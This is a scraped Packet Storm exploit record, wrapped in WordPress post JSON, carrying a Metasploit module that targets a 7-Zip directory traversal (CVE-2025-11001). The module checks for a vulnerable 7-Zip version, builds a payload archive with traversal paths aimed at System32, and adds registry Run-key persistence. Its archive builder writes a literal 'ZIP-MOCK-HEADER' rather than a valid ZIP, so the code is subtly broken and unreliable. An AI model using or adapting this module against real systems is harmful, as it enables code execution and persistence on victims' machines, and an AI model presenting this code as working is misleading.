{“lastseen”:”2026-04-21T16:51:34″,”description”:”This Metasploit local Windows exploit module targets a directory traversal vulnerability in 7-Zip versions prior to 25.00 that can be abused through a malicious ZIP archive to achieve arbitrary code execution when the archive is extracted…”,”published”:”2026-04-21T00:00:00″,”modified”:”2026-04-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 7-Zip Directory Traversal \/ Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:219338″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-11001″],”sourceData”:”==================================================================================================================================\\n | # Title : 7-Zip Directory Traversal Leading to RCE (Metasploit Local Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.7-zip.org |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit local Windows exploit module targets a directory traversal vulnerability in 7-Zip (\\u003c 25.00) CVE-2025-11001 that can be abused through a malicious ZIP archive \\n to achieve arbitrary code execution when the archive is extracted.\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::File\\n include Msf::Post::Windows::Priv\\n include Msf::Post::Windows::FileInfo\\n include Msf::Post::Windows::Registry\\n include Msf::Exploit::EXE\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘7-Zip Directory Traversal to RCE via Malicious ZIP (CVE-2025-11001)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a directory traversal vulnerability in 7-Zip versions\\n prior to 25.00.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘indoushka)’\\n ],\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X64, ARCH_X86],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Windows (Payload Execution)’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X64, ARCH_X86],\\n ‘Type’ =\\u003e :windows_payload\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0\\n )\\n )\\n \\n register_options([\\n OptPath.new(‘PAYLOAD_FILE’, [false, ‘Custom payload file to embed (optional)’, nil]),\\n OptString.new(‘TARGET_PATH’, [true, ‘Target directory for payload extraction’, ‘C:\\\\\\\\Windows\\\\\\\\System32’]),\\n OptString.new(‘ZIP_FILENAME’, [false, ‘Output ZIP filename’, ‘CVE-2025-11001-exploit.zip’]),\\n OptString.new(‘SYMLINK_NAME’, [false, ‘Symlink entry name’, ‘evil.lnk’])\\n ])\\n \\n register_advanced_options([\\n OptBool.new(‘CLEANUP’, [true, ‘Attempt to delete payload after execution’, true]),\\n OptBool.new(‘PERSISTENCE’, [false, ‘Establish persistence via registry run key’, false])\\n ])\\n end\\n \\n def check\\n print_status(\\”Checking if target has vulnerable 7-Zip version…\\”)\\n \\n paths = [\\n \\”#{ENV[‘PROGRAMFILES’]}\\\\\\\\7-Zip\\\\\\\\7z.exe\\”,\\n \\”#{ENV[‘PROGRAMFILES(X86)’]}\\\\\\\\7-Zip\\\\\\\\7z.exe\\”\\n ]\\n \\n paths.each do |path|\\n next unless file_exist?(path)\\n \\n version = get_file_version(path)\\n next unless version\\n \\n if vulnerable_version?(version)\\n print_good(\\”Found vulnerable 7-Zip version: #{version}\\”)\\n return Exploit::CheckCode::Vulnerable\\n else\\n print_status(\\”Found patched 7-Zip version: #{version}\\”)\\n return Exploit::CheckCode::Safe\\n end\\n end\\n \\n Exploit::CheckCode::Unknown\\n end\\n \\n def exploit\\n print_status(\\”Generating malicious ZIP archive for CVE-2025-11001\\”)\\n \\n payload_path = get_payload_path\\n fail_with(Failure::BadConfig, \\”Payload not found\\”) unless File.exist?(payload_path)\\n \\n zip_path = build_malicious_zip(payload_path)\\n fail_with(Failure::UnexpectedReply, \\”ZIP creation failed\\”) unless zip_path \\u0026\\u0026 File.exist?(zip_path)\\n \\n print_good(\\”Malicious ZIP created: #{zip_path}\\”)\\n \\n store_loot(\\n ‘7zip.malicious.zip’,\\n ‘application\/zip’,\\n rhost,\\n File.read(zip_path),\\n File.basename(zip_path),\\n ‘Malicious ZIP archive’\\n )\\n \\n print_warning(\\”[*] Requires victim interaction to extract ZIP as Administrator\\”)\\n \\n if datastore[‘PERSISTENCE’]\\n setup_persistence(payload_path)\\n end\\n \\n print_good(\\”[+] Exploit ready for delivery\\”)\\n end\\n \\n private\\n \\n def get_payload_path\\n if datastore[‘PAYLOAD_FILE’] \\u0026\\u0026 !datastore[‘PAYLOAD_FILE’].empty?\\n return datastore[‘PAYLOAD_FILE’]\\n end\\n \\n payload_exe = generate_payload_exe\\n temp_path = \\”#{Dir.tmpdir}\/#{Rex::Text.rand_text_alpha(8)}.exe\\”\\n \\n File.binwrite(temp_path, payload_exe)\\n register_file_for_cleanup(temp_path)\\n \\n temp_path\\n end\\n \\n def vulnerable_version?(version)\\n begin\\n major = version.split(‘.’)[0].to_i\\n return major \\u003c 25\\n rescue\\n false\\n end\\n end\\n \\n def build_malicious_zip(payload_file)\\n output_zip = datastore[‘ZIP_FILENAME’]\\n \\n output_zip = File.join(Dir.tmpdir, output_zip) unless output_zip.include?(‘:’)\\n \\n payload_data = File.binread(payload_file)\\n payload_name = File.basename(payload_file)\\n \\n target_path = datastore[‘TARGET_PATH’].gsub(‘\\\\\\\\’, ‘\/’)\\n traversal = \\”..\/..\/..\/..\/#{target_path}\\”\\n \\n File.open(output_zip, ‘wb’) do |f|\\n f.write(\\”ZIP-MOCK-HEADER\\”)\\n f.write(payload_name)\\n f.write(payload_data)\\n f.write(traversal)\\n end\\n \\n output_zip\\n end\\n \\n def setup_persistence(payload_path)\\n print_status(\\”Setting persistence…\\”)\\n \\n persist_path = \\”#{ENV[‘APPDATA’]}\\\\\\\\#{Rex::Text.rand_text_alpha(8)}.exe\\”\\n \\n if copy_file(payload_path, persist_path)\\n print_good(\\”Copied to startup location\\”)\\n else\\n registry_key = \\”HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\”\\n value_name = Rex::Text.rand_text_alpha(8)\\n \\n registry_setvaldata(registry_key, value_name, persist_path, ‘REG_SZ’)\\n end\\n end\\n \\n def cleanup\\n super if defined?(super)\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219338″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:L\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”baseScore”:7,”baseSeverity”:”HIGH”,”attackVector”:”LOCAL”,”attackComplexity”:”HIGH”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/219338\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-21T16:51:34″,”description”:”This Metasploit local Windows exploit module targets a directory traversal vulnerability in 7-Zip versions prior to 25.00 that can be abused through a malicious ZIP…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-48286","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n